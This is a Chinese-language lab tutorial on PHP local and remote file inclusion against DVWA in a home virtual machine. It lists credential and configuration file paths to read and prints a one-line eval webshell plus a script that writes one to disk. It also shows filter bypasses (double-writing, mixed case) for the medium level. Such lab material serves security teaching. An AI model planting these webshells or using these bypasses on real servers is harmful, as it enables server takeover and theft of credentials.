一、实验目的:
1、通过本次学习掌握文件包含原理及漏洞产生的原因; 2、通过搭建漏洞环境,学习绕过技巧; 3、通过源码学习文件包含漏洞的过滤方式。
二、工具:
火狐/谷歌浏览器 菜刀/蚁剑
三、实验环境:
靶?机: windows10虚拟机:192.168.100.150 ??????phpstudy2018_Apache 集成环境 攻击机: 物理机
四、漏洞说明:
1.?什么是文件包含?
??为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。
2.?漏洞成因:
??文件包含函数加载的参数没有经过过滤或者严格的定义 ,可以被用户控制 ,包含其他恶意文件,导致了执行了非预期的代码。
3.?文件包含相关的四个函数:
- include():
- ??找不到被包含文件,报错,但会继续运行脚本;
- include_once():
- ??与include()类似,区别在于,当重复调用同一文件时,程序只调用一次;
- require():
- ??找不到被包含文件,报错,并且停止运行脚本;
- require_once():
- ??与require类似,区别在于,当重复调用同一文件时,程序只调用一次;include_once()和require_once()这两个函数只包含一次,适用于在脚本执行期想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
- 对文件进行操作的其他函数,如f_open(),f_read()
4.?漏洞原理:
??在通过PHP 的相应函数(比如include() )引入文件时,由于传入的文件名 没有经过合理的校验 ,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入 。
5.?文件包含漏洞的形成,需要满足两个条件:
1、include() 等函数通过动态变量的方式 引入需要包含的文件; 2、用户能够控制 这个动态变量; 注:一般来说服务端通过GET 和POST 两种请求方式来传递需要包含的文件的话就是用户可控的。
6.?文件包含漏洞危害:
敏感信息泄露 获取Webshell 任意命令执行 ??文件包含漏洞是一个危险度比较高的漏同,本地文件包含的可以造成探测到服务配置信息或者是类似password文件这样的敏感信息,也可以读取本地的源代码进行分析进一步发现漏同,或者圃过构造特殊请求写入日志,然后包含日志文件,达到获取Webshell的目的。 ??远程文件包含漏洞危害更大,可以通过包含远程文件达到轻松的执行任意命令和获取Webshell。
7.?文件包含各个脚本代码:
#PHP:
<?php Include('test.php')?>
#ASP:
<!--#include file="1.asp" -->
#ASPX:
<!--#include file="top.aspx" -->
#JSP:
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
六、文件类型:
1.?本地文件包含(LFI):
1.1?原理:
??本地文件包含(Local File Include,LFI ),能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。 ??LFI 允许攻击者通过浏览器包含本机上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。
1.2?常见的敏感信息路径:
Windows系统:
C:\Windows\System32\drivers\etc\hosts //查看hosts文件
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //MySQL配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php 配置信息
Linux/Unix系统:
/etc/passwd //账户信息
/etc/shadow //账户密码文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql 配置文件
2.?远程文件包含(RFI):
原理:
??如果php.ini 的配置选项allow_url_include 为On 的话,文件包含函数是可以加载远程文件 的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行任意命令。
五、环境准备:
1.?文件包含的两个重要的php参数:
php.ini 文件中:
allow_url_fopen=Off
allow_url_include=Off
2.?修改php.ini 配置文件:
1、切换php版本 : 
2、在phpstudy 中打开php.ini 的配置文件:

3、搜索allow_url_include ,把off 换成on ,保存,然后重启phpstudy :

3.?虚拟机关闭window系统的安全中心的病毒实时防护:

六、实验过程:
1.?本次实验环境的敏感文件路径:
C:\Windows\System32\drivers\etc\hosts
E:\php\phpstudy_2018\PHPTutorial\Apache\conf\httpd.conf
E:\php\phpstudy_2018\PHPTutorial\php\php-5.4.45\php.ini
E:\php\phpstudy_2018\PHPTutorial\MySQL\my.ini
2.?DVWA(low級別):
校验源码:
<?php
$file = $_GET[ 'page' ];
?>

2.1?本地文件包含(LFI):
1、调整DVWA 的安全级别,并进入文件包含里面:
 
2、对本地的一些敏感文件进行包含: 对hosts文件 进行包含,就可以看到hosts 的内容: 
对Apache配置文件 进行包含: 
对mysql配置文件 进行包含:

对php配置文件 进行包含,在包含时出现以下问题,出现了脚本语法的报错:
 出现以上报错的原因: ??文件包含有一个特点,就是在包含一个文件时,无论这个文件是什么格式的文件,只要里面含有php代码,它就会按照php脚本来进行解析;这里报错的就是它把php.ini里面的一部分内容当成了php代码进行解析了,解析时发现语法不对,所以就报了错。
2.2?远程文件包含(RFI):
2.2.1?包含1.txt 的phpinfo文件 :
1、在虚拟机网站主目录下面创建一个1.txt 文件: 内容:
<?php phpinfo();?>
 2、直接访问这个文件,发现服务器是以文件文件的方式打开:  3、对这个文件进行远程文件包含,发现1.txt 格式的文件被以php脚本 的形式解析了: 
2.2.2?包含大马文件 :
1、复制一个大马文件dama.php 到虚拟机的网站主目录下,并修改后缀名为txt格式 :  2、直接访问这个文件,发现服务器是以文本文件 的方式打开:  3、对这个文件进行远程文件包含,发现dama.txt 格式的文件被以php脚本 的形式解析了:  4、输入密码,进行访问: 密码:admin 

2.2.3?包含一句话木马 :
1、在虚拟机网站主目录下面创建一个2.txt 文件: 内容:
<?php @eval($_REQUEST[666]);?>

2、直接访问这个文件,发现服务器是以文件文件 的方式打开: 
3、对它进行远程文件包含,发现能够解析为php脚本文件 :  4、使用菜刀进行连接,成功获得webshell:



注意: ??有时候,我们无法通过传入参数进行访问phpinfo页面 ,可能是DVWA的环境问题;还有就算我们能够连接到这个文件,但是菜刀连接不上,这个时候我们可以创建一个写入文件的脚本文件,通过访问这个脚本文件,在目标服务器里面创建一个一句话木马的方式进行连接。
2.2.4?包含写入文件脚本方式,写入一句话木马:
1、在虚拟机网站主目录下面创建一个3.txt 的文件,通过这个文件向服务器里面写入一句话木马yjh.php文件: 内容:
<?php
$file=fopen('yjh.php','w');
fputs($file,'<?php @eval($_REQUEST[666]);?>');
?>

2、访问这个文件,是以文本文档 的形式打开的:
 3、使用远程文件进行包含这个文件,并查看文件包含目录下,已经创建了一个yjh.php 的文件:   4、使用菜刀连接,发现已经获得目标服务器的webshell:

3.?DVWA(Medium級別):
校验源码:
<?php
$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
 过滤过程:定义一个变量,接收通过GET的请求方式传入的page参数--->当传入的参数中包含http://, https://时,替换为空字符--->继续过滤,当传入的参数中包含../, ..\时,把它们替换为空字符
3.1?本地文件包含(LFI):
1、调整DVWA 的安全级别,并进入文件包含里面:

 2、包含本地host文件 ,成功包含:

3.2?远程文件包含(RFI):
1、使用远程文件包含1.txt 文件,出现以下报错: 内容:
<?php phpinfo();?>


通过上面红框框中的地方我们可以看到,我们通过远程包含传入的URL 中的http:// 被过滤掉了。 绕过方式: a.通常把危险字符替换为空 的方式,我们可以通过双写 的形式进行绕过; b.通过这关的源码我们可以看出,在过滤的过程中,没有对大小写进行过滤 ,我们还可以通过大小写混合 的方式进行绕过; 2、绕过方式: 双写 绕过:
 大小写混合 绕过: 
|